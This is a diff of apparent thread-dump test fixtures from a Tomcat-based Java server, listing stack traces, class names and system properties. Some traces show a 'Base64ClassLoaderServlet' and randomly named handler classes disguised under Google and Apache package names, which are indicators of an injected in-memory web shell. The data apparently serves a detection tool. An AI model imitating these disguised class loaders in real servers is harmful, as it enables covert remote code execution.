at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"RetryTimer" #45 daemon [WAITING] on java.util.TaskQueue@16520725
|
||||||
|
java.lang.Thread.State: WAITING
|
||||||
|
at java.lang.Object.wait(Native Method)
|
||||||
|
at java.lang.Object.wait(Object.java:502)
|
||||||
|
at java.util.TimerThread.mainLoop(Timer.java:526)
|
||||||
|
at java.util.TimerThread.run(Timer.java:505)
|
||||||
|
|
||||||
|
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv].VirtualHost[__admin].StandardContext[]]" #69 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"bes-deployment-scheduled-executor-thread." #72 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b67ca50
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-Acceptor-0" #65 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
@@ -385,7 +466,7 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-4" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
"http-thread-pool-2" #54 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -399,7 +480,33 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"admin-thread-pool-4" #58 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
"Stateful cache" #46 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4267f200
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
|
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
|
||||||
|
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
|
||||||
|
at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
||||||
|
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-6900-Acceptor-0" #62 daemon [RUNNABLE]
|
||||||
|
java.lang.Thread.State: RUNNABLE
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
||||||
|
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
||||||
|
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-nio-0.0.0.0-8080-AsyncTimeout" #66 daemon [TIMED_WAITING]
|
||||||
|
java.lang.Thread.State: TIMED_WAITING
|
||||||
|
at java.lang.Thread.sleep(Native Method)
|
||||||
|
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
||||||
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
|
"http-thread-pool-8" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35c5ceb5
|
||||||
java.lang.Thread.State: WAITING
|
java.lang.Thread.State: WAITING
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
at sun.misc.Unsafe.park(Native Method)
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
||||||
@@ -413,20 +520,26 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"http-thread-pool-8" #66 daemon [RUNNABLE]
|
"http-thread-pool-1" #53 daemon [RUNNABLE]
|
||||||
java.lang.Thread.State: RUNNABLE
|
java.lang.Thread.State: RUNNABLE
|
||||||
at java.lang.Thread.dumpThreads(Native Method)
|
at java.lang.Thread.dumpThreads(Native Method)
|
||||||
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
at java.lang.Thread.getAllStackTraces(Thread.java:1615)
|
||||||
at org.apache.commons.lang.NFIaM.ErrorHandler.toString(BasicInfoPrinter.java:26)
|
at com.google.gso.JsjjN.ErrorWiwueHandler.toString(BasicInfoPrinter.java:26)
|
||||||
at java.lang.String.valueOf(String.java:2994)
|
at java.lang.String.valueOf(String.java:2994)
|
||||||
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
|
at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
|
||||||
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
|
at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
|
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at EmptyFilter.doFilter(EmptyFilter.java:21)
|
at EmptyFilter.doFilter(EmptyFilter.java:12)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
|
at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
|
||||||
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
|
||||||
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
|
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
|
||||||
@@ -448,119 +561,14 @@ ThreadStacks:
|
|||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
at java.lang.Thread.run(Thread.java:750)
|
||||||
|
|
||||||
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@3468863
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:235)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:216)
|
|
||||||
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:207)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
|
|
||||||
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
|
|
||||||
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
|
|
||||||
at java.lang.reflect.Method.invoke(Method.java:498)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java:400)
|
|
||||||
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:540)
|
|
||||||
at com.bes.enterprise.startup.ASMain.main(ASMain.java:27)
|
|
||||||
|
|
||||||
"ContainerBackgroundProcessor[WebEngine[com.bes.appserv]]" #54 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1354)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"GC Daemon" #14 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@8390b45
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at sun.misc.GC$Daemon.run(GC.java:117)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-ClientPoller-0" #70 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
|
|
||||||
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
|
|
||||||
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
|
|
||||||
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
|
|
||||||
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Poller.run(NioEndpoint.java:801)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-7" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-6900-Acceptor-0" #68 daemon [RUNNABLE]
|
|
||||||
java.lang.Thread.State: RUNNABLE
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
|
|
||||||
at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
|
|
||||||
at org.apache.tomcat.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:469)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-nio-0.0.0.0-8080-AsyncTimeout" #72 daemon [TIMED_WAITING]
|
|
||||||
java.lang.Thread.State: TIMED_WAITING
|
|
||||||
at java.lang.Thread.sleep(Native Method)
|
|
||||||
at org.apache.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1229)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"http-thread-pool-3" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@559be977
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"admin-thread-pool-3" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@408b3288
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at sun.misc.Unsafe.park(Native Method)
|
|
||||||
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
|
|
||||||
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
|
|
||||||
at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:103)
|
|
||||||
at org.apache.tomcat.util.threads.TaskQueue.take(TaskQueue.java:31)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
|
|
||||||
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
|
|
||||||
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"RMI Reaper" #81 [WAITING] on java.lang.ref.ReferenceQueue$Lock@29479f9a
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
|
|
||||||
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
|
|
||||||
at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
|
|
||||||
at java.lang.Thread.run(Thread.java:750)
|
|
||||||
|
|
||||||
"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@566f350f
|
|
||||||
java.lang.Thread.State: WAITING
|
|
||||||
at java.lang.Object.wait(Native Method)
|
|
||||||
at java.lang.Object.wait(Object.java:502)
|
|
||||||
at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
|
|
||||||
at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
|
|
||||||
|
|
||||||
|
|
||||||
===========================================
|
===========================================
|
||||||
|
|
||||||
StackClassNames:
|
StackClassNames:
|
||||||
Base64ClassLoaderServlet
|
Base64ClassLoaderServlet
|
||||||
EmptyFilter
|
EmptyFilter
|
||||||
|
ServletNameTestFilter
|
||||||
|
UrlMappingTestFilter
|
||||||
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
com.bes.enterprise.base.disruptor.BatchEventProcessor
|
||||||
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier
|
||||||
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy
|
||||||
@@ -569,6 +577,7 @@ com.bes.enterprise.catalina.BESAppservValve
|
|||||||
com.bes.enterprise.catalina.BesContextCleanupValve
|
com.bes.enterprise.catalina.BesContextCleanupValve
|
||||||
com.bes.enterprise.server.builder.BesWebModule
|
com.bes.enterprise.server.builder.BesWebModule
|
||||||
com.bes.enterprise.startup.ASMain
|
com.bes.enterprise.startup.ASMain
|
||||||
|
com.google.gso.JsjjN.ErrorWiwueHandler
|
||||||
org.apache.catalina.authenticator.AuthenticatorBase
|
org.apache.catalina.authenticator.AuthenticatorBase
|
||||||
org.apache.catalina.connector.CoyoteAdapter
|
org.apache.catalina.connector.CoyoteAdapter
|
||||||
org.apache.catalina.connector.CoyoteWriter
|
org.apache.catalina.connector.CoyoteWriter
|
||||||
@@ -580,7 +589,6 @@ org.apache.catalina.core.StandardHostValve
|
|||||||
org.apache.catalina.core.StandardWrapperValve
|
org.apache.catalina.core.StandardWrapperValve
|
||||||
org.apache.catalina.startup.Bootstrap
|
org.apache.catalina.startup.Bootstrap
|
||||||
org.apache.catalina.valves.ErrorReportValve
|
org.apache.catalina.valves.ErrorReportValve
|
||||||
org.apache.commons.lang.NFIaM.ErrorHandler
|
|
||||||
org.apache.coyote.AbstractProcessorLight
|
org.apache.coyote.AbstractProcessorLight
|
||||||
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
org.apache.coyote.AbstractProtocol$AsyncTimeout
|
||||||
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
org.apache.coyote.AbstractProtocol$ConnectionHandler
|
||||||
|
|||||||
@@ -0,0 +1,728 @@
|
|||||||
|
# Generated At 2026-05-24 05:04:36
|
||||||
|
SystemProps:
|
||||||
|
bes.loader: bes-system
|
||||||
|
java.vendor: Oracle Corporation
|
||||||
|
sun.java.launcher: SUN_STANDARD
|
||||||
|
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
|
||||||
|
javax.net.ssl.trustStorePassword: changeit
|
||||||
|
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
|
||||||
|
bes.home: /opt/bes
|
||||||
|
catalina.useNaming: true
|
||||||
|
redis.loader: "${bes.home}/lib/redis/*.jar"
|
||||||
|
os.name: Linux
|
||||||
|
sun.boot.class.path: /opt/bes/lib/endorsed/javaee-api-endorsed.jar:/usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes
|
||||||
|
javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
|
||||||
|
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
|
||||||
|
java.vm.specification.vendor: Oracle Corporation
|
||||||
|
java.runtime.version: 1.8.0_342-b07
|
||||||
|
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
|
||||||
|
xxx: xxx
|
||||||
|
javax.net.ssl.keyStore: /opt/bes/conf/security/keystore.jks
|
||||||
|
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
|
||||||
|
user.name: root
|
||||||
|
shared.loader: "${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
|
||||||
|
com.bes.resource.ejb.leakDetect: false
|
||||||
|
com.bes.hostName: d35a5df256eb
|
||||||
|
java.naming.factory.initial: com.bes.jndi.CtxFactory
|
||||||
|
user.language: en
|
||||||
|
derby.system.home: /opt/bes
|
||||||
|
sun.boot.library.path: /usr/local/openjdk-8/jre/lib/amd64
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
|
||||||
|
com.bes.enterprise.log.outAndErrNotRedirect: false
|
||||||
|
java.version: 1.8.0_342
|
||||||
|
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
|
||||||
|
user.timezone: Etc/UTC
|
||||||
|
java.net.preferIPv4Stack: true
|
||||||
|
sun.arch.data.model: 64
|
||||||
|
com.bes.installRoot: /opt/bes
|
||||||
|
java.util.concurrent.ForkJoinPool.common.threadFactory: com.bes.enterprise.webtier.startup.SafeForkJoinWorkerThreadFactory
|
||||||
|
java.endorsed.dirs: /opt/bes/lib/endorsed
|
||||||
|
java.rmi.server.randomIDs: true
|
||||||
|
sun.cpu.isalist:
|
||||||
|
sun.jnu.encoding: UTF-8
|
||||||
|
file.encoding.pkg: sun.io
|
||||||
|
bes.base: /opt/bes
|
||||||
|
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
|
||||||
|
file.separator: /
|
||||||
|
java.specification.name: Java Platform API Specification
|
||||||
|
java.class.version: 52.0
|
||||||
|
java.home: /usr/local/openjdk-8/jre
|
||||||
|
java.vm.info: mixed mode
|
||||||
|
com.bes.instanceName: server
|
||||||
|
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
|
||||||
|
os.version: 6.8.0-111-generic
|
||||||
|
path.separator: :
|
||||||
|
java.vm.version: 25.342-b07
|
||||||
|
com.bes.verboseMode: true
|
||||||
|
bval.in-container: true
|
||||||
|
com.bes.enterprise.deployments.classpath.filter.systemapps: false
|
||||||
|
com.bes.resource.leakDetect: false
|
||||||
|
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
|
||||||
|
java.awt.printerjob: sun.print.PSPrinterJob
|
||||||
|
java.security.policy: /opt/bes/conf/security/server.policy
|
||||||
|
sun.io.unicode.encoding: UnicodeLittle
|
||||||
|
awt.toolkit: sun.awt.X11.XToolkit
|
||||||
|
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
|
||||||
|
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
|
||||||
|
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
|
||||||
|
java.security.egd: file:/dev/./urandom
|
||||||
|
user.home: /root
|
||||||
|
java.specification.vendor: Oracle Corporation
|
||||||
|
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/x64
|
||||||
|
java.vendor.url: http://java.oracle.com/
|
||||||
|
com.bes.enterprise.deployments.classpath: false
|
||||||
|
java.vm.vendor: Oracle Corporation
|
||||||
|
common.loader: "${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/lib/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/db/lib/derby.jar","${bes.home}/modules/db/lib/derbyclient.jar"
|
||||||
|
com.bes.enterprise.startup.ExitOnInitFailure: true
|
||||||
|
java.runtime.name: OpenJDK Runtime Environment
|
||||||
|
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false -instancename server start
|
||||||
|
java.class.path: /opt/bes/patch/V9.5.2.4703.010.core.jar:/opt/bes/patch/V9.5.2.4703.009.core.jar:/opt/bes/patch/V9.5.2.4703.005.core.jar:/opt/bes/patch/V9.5.2.4703.004.core.jar:/opt/bes/patch/V9.5.2.4703.003.core.jar:/opt/bes/patch/V9.5.2.4703.002.core.jar:/opt/bes/patch/V9.5.2.4703.001.core.jar:/opt/bes/lib/bootstrap.jar:/opt/bes/lib/bes-logger.jar:/opt/bes/lib/bes-config-parser.jar:/opt/bes/lib/bes-config-serverbeans.jar:/opt/bes/lib/bes-patch.jar:/opt/bes/lib/bes-license.jar:/opt/bes/lib/bes-common-util.jar:/opt/bes/lib/3rd/org.apache.commons.commons-codec_1.10.jar:/opt/bes/lib/3rd/org.apache.commons.commons-logging_1.1.3.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/org.codehaus.woodstox.woodstox-core-asl_4.4.1.jar
|
||||||
|
com.bes.instanceRoot: /opt/bes
|
||||||
|
java.vm.specification.name: Java Virtual Machine Specification
|
||||||
|
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-gmcert,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.ope